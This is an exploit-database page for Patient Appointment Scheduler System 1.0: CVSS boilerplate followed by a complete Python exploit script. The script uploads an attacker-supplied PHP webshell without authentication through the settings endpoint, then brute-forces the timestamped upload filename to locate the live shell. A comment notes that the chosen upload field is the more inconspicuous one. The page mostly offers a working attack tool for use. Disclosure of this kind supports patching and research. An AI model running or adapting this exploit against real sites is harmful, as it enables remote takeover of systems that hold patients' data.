Exploitalert - Database of Exploits

Patient Appointment Scheduler System 1.0 Shell Upload

CVE	Category	Price	Severity
CVE-XXXX-XXXX	CWE-XXX	N/A	High

Author	Risk	Exploitation Type	Date
Not specified	High	Remote	2021-09-08

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H	0.56321	0.83561

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021090058

Patient Appointment Scheduler System 1.0 Shell Upload

# Exploit Title: Patient Appointment Scheduler System 1.0 - Unauthenticated File Upload & Remote Code Execution (RCE) # Date: 03/09/2021 # Exploit Author: a-rey # Vendor Homepage: https://www.sourcecodester.com/php/14928/patient-appointment-scheduler-system-using-php-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14928 # Version: v1.0 # Tested on: Ubuntu 20.04.3 LTS (Focal Fossa) with XAMPP 8.0.10-0 # Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Patient_Appointment_Scheduler_System/v1.0/writeup.md #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import time import logging import requests import argparse BANNER = """ Patient Appointment Scheduler System v1.0 - Unauthenticated File Upload & Remote Code Execution by: \033[0m\033[1;31m \033[0m \033[0m\033[1;32m \033[0m \033[0m\033[1;33m \033[0m \033[0m\033[1;34m \033[0m \033[0m\033[1;35m \033[0m \033[0m\033[1;36m \033[0m """ def exploit(url:str, file:str, delay:int) -> None: if not os.path.exists(file): logging.error(f'webshell payload "{file}"" does not exist?') return logging.info(f'uploading webshell payload "{os.path.basename(file)}" to {url}/uploads ...') uploadTime = int(time.time()) r = requests.post(url + '/classes/SystemSettings.php', files={'img' : (os.path.basename(file), open(file, 'rb'))}, # NOTE: can also use 'cover' field, but this is more inconspicuous params={'f' : 'update_settings'}, verify=False ) if not r.ok: logging.error('HTTP upload request failed') return logging.info(f'finding new payload file name on target (+/- {delay} seconds) ...') for i in range(uploadTime - delay, uploadTime + delay + 1): r = requests.get(url + f'/uploads/{str(i)}_{os.path.basename(file)}', allow_redirects=False) logging.debug(f'trying {url}/uploads/{str(i)}_{os.path.basename(file)} ...') # NOTE: website will send redirects for all files that do not exist if r.status_code != 302: logging.success(f'webshell payload found on target at {url}/uploads/{str(i)}_{os.path.basename(file)}') return logging.error('failed to find payload on target') logging.warning('maybe need a larger delay or uploads directory is not writable?') return if __name__ == '__main__': # parse arguments parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER) parser.add_argument('-u', '--url', help='website URL', type=str, required=True) parser.add_argument('-p', '--payload', help='PHP webshell file to upload', type=str, required=True) parser.add_argument('-d', '--delay', help='delay (seconds) for file timestamp in payload name on target', type=int, required=False, default=60) parser.add_argument('--debug', help='enable debugging output', action='store_true', default=False) args = parser.parse_args() # define logger logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO' if not args.debug else 'DEBUG') logging.SUCCESS = logging.CRITICAL + 1 logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m') logging.addLevelName(logging.ERROR, '\033[0m\033[1;31mFAIL\033[0m') logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m') logging.addLevelName(logging.INFO, '\033[0m\033[1;36mINFO\033[0m') logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args) # print banner print(BANNER) # run exploit exploit(args.url, args.payload, args.delay)

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